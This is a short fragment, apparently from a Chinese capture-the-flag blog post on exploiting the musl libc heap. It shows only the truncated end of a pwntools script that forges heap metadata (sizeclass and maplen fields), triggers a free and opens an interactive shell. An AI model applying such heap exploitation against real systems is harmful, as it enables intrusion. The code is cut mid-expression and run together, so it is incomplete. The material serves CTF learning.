1.2.2 musl pwn( 二 )

<< 5) | (sizeclass << 6) | (maplen << 12)payload+= p64(last_value)+p64(0)payload+= b'\n'add(15, 0x1500, payload)delete(6)s.sendlineafter(">>",b"4")#gdb.attach(s)s.interactive()【1.2.2 musl pwn】

经验总结扩展阅读